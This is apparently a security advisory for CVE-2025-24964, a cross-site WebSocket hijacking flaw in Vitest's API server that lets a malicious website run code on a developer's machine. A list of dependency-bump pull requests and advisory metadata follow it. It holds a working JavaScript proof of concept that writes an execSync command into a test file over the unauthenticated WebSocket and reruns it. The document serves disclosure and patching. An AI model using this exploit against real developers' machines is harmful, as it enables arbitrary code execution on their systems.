Vitest allows Remote Code Execution when accessing a malicious website while Vitest API server is listening
Summary
Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.
Details
When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46
This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76
PoC
- Open Vitest UI.
- Access a malicious web site with the script below.
- If you have
calcexecutable inPATHenv var (you'll likely have it if you are running on Windows), that application will be executed.
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});
// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
console.log(e.data)
})
ws.addEventListener('open', () => {
ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))
const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"
// edit file content to inject command execution
ws.send(Flatted.stringify({
t: 'q',
i: crypto.randomUUID(),
m: "saveTestFile",
a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
}))
// rerun the tests to run the injected command execution code
ws.send(Flatted.stringify({
t: 'q',
i: crypto.randomUUID(),
m: "rerun",
a: [testFilePath]
}))
})
Impact
This vulnerability can result in remote code execution for users that are using Vitest serve API.
Affected Packages
| Ecosystem | Package | Vulnerable Versions | Patched Version |
|---|---|---|---|
| npm |
vitest
|
<= 0.0.125>= 3.0.0, < 3.0.5>= 2.0.0, < 2.1.9>= 1.0.0, < 1.6.1 |
No patch available |
Build(deps): Bump the npm_and_yarn group across 1 directory with 5 updates
Closed 3 months agoBump the npm_and_yarn group across 11 directories with 4 updates
Open 3 months agoBump the npm_and_yarn group across 12 directories with 4 updates
Closed 3 months agochore(deps): bump the npm_and_yarn group across 4 directories with 4 updates
Closed 4 months agobuild(deps): bump the npm_and_yarn group across 1 directory with 5 updates
Closed 4 months agobuild(deps): bump the pnpm-workspace group across 1 directory with 6 updates
Closed 4 months agobuild(deps-dev): bump aws-sdk-client-mock-vitest from 4.0.1 to 7.0.1
Open 4 months agobuild(deps-dev): Bump the dev-dependencies group with 4 updates
Open 4 months agoBump the npm_and_yarn group across 1 directory with 26 updates
Open 4 months agoBump vitest from 2.1.2 to 2.1.9 in /backend
Open 4 months agobuild(deps): bump the backend-minor-patch group in /novaRewards/backend with 11 updates
Closed 4 months agobuild(deps): bump the npm_and_yarn group across 4 directories with 21 updates
Closed 5 months agochore(deps-dev): bump vitest from 2.1.8 to 2.1.9
Closed 5 months agochore(deps-dev): bump vitest from 3.0.2 to 3.0.5 in /packages/app-core/test/contracts/lib/openzeppelin-contracts in the npm_and_yarn group across 1 directory
Open 5 months agobuild(deps): bump the npm_and_yarn group across 3 directories with 22 updates
Closed 5 months agobuild(deps): bump the npm_and_yarn group across 4 directories with 22 updates
Closed 5 months agochore(frontend): bump the testing group in /frontend with 4 updates
Open 5 months agobuild(deps): bump the npm_and_yarn group across 7 directories with 19 updates
Open 5 months agoBump the npm_and_yarn group across 1 directory with 23 updates
Open 5 months agoBump the npm_and_yarn group across 1 directory with 13 updates
Closed 5 months agoBump the npm_and_yarn group across 1 directory with 23 updates
Open 5 months agochore(deps): bump the npm_and_yarn group across 3 directories with 8 updates
Open 5 months agoBump vitest from 1.5.0 to 1.6.1
Closed 5 months agoBump the npm_and_yarn group across 1 directory with 13 updates
Open 5 months agochore(deps): bump the npm_and_yarn group across 6 directories with 13 updates
Closed 5 months agobuild(deps): bump the npm_and_yarn group across 5 directories with 18 updates
Open 5 months agobuild(deps-dev): bump vitest from 1.6.0 to 1.6.1 in the npm_and_yarn group across 1 directory
Closed 5 months agobuild(deps): bump the npm_and_yarn group across 2 directories with 16 updates
Closed 5 months agoBump the npm_and_yarn group across 3 directories with 13 updates
Closed 5 months agoBump vitest from 1.0.4 to 1.6.1 in /examples/with-vitest
Open 5 months agobuild(deps-dev): Bump vitest from 3.0.0 to 3.0.5 in /packages/agentmesh-integrations/copilot-governance
Closed 5 months agobuild(deps-dev): Bump vitest from 3.0.0 to 3.0.5 in /packages/agentmesh-integrations/mastra-agentmesh
Open 5 months agochore(deps): bump the npm_and_yarn group across 1 directory with 6 updates
Closed 6 months agoBump the npm_and_yarn group across 1 directory with 13 updates
Closed 6 months agochore(deps): bump the npm_and_yarn group across 9 directories with 12 updates
Closed 6 months agobuild(deps): bump the npm_and_yarn group across 2 directories with 15 updates
Closed 6 months agochore(deps): bump the npm_and_yarn group across 2 directories with 18 updates
Open 6 months agoBump the npm_and_yarn group across 1 directory with 13 updates
Open 6 months agoBump the npm_and_yarn group across 5 directories with 23 updates
Closed 6 months agochore(deps): bump the npm_and_yarn group across 1 directory with 10 updates
Closed 6 months agobuild(deps): bump the npm_and_yarn group across 1 directory with 7 updates
Closed 6 months agochore(deps): bump the npm_and_yarn group across 3 directories with 9 updates
Closed 6 months agoBump the npm_and_yarn group across 7 directories with 17 updates
Closed 6 months agobuild(deps): bump the npm_and_yarn group across 4 directories with 20 updates
Closed 6 months agochore(deps): bump the dependencies group across 1 directory with 13 updates
Open 6 months agochore(deps-dev): Bump the development-dependencies group with 15 updates
Open 6 months agochore(deps): bump the npm_and_yarn group across 1 directory with 11 updates
Closed 6 months agochore(deps): bump the npm_and_yarn group across 3 directories with 19 updates
Open 6 months agoBump the npm_and_yarn group across 7 directories with 21 updates
Closed 6 months agochore(deps): bump the npm_and_yarn group across 3 directories with 19 updates
Closed 6 months agoActions
Advisory Details
| Published: | February 04, 2025 over 1 year ago |
| Updated: | September 03, 2026 8 days ago |
| CVSS Score: | 9.6 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H |
| EPSS: | 0.68% 50th percentile |
| Source: | Github |
| Classification: | GENERAL |
| UUID: | GSA_kwCzR0hTQS05Y3JjLXE5eDgtaGdxcc4ABEIz |
PR Statistics
References
- https://github.com/vitest-dev/vitest/security/advisories/GHSA-9crc-q9x8-hgqq
- https://github.com/vitest-dev/vitest/commit/191ef9e34c867d0efd04f49b3d38193a68e825dc
- https://github.com/vitest-dev/vitest/commit/7ce9fbb4972d45c6fd34c843645ef6f549bbb241
- https://github.com/vitest-dev/vitest/commit/e0fe1d81e2d4bcddb1c6ca3c5c3970d8ba697383
- https://nvd.nist.gov/vuln/detail/CVE-2025-24964
- https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46
- https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76
- https://vitest.dev/config/#api
- https://github.com/advisories/GHSA-9crc-q9x8-hgqq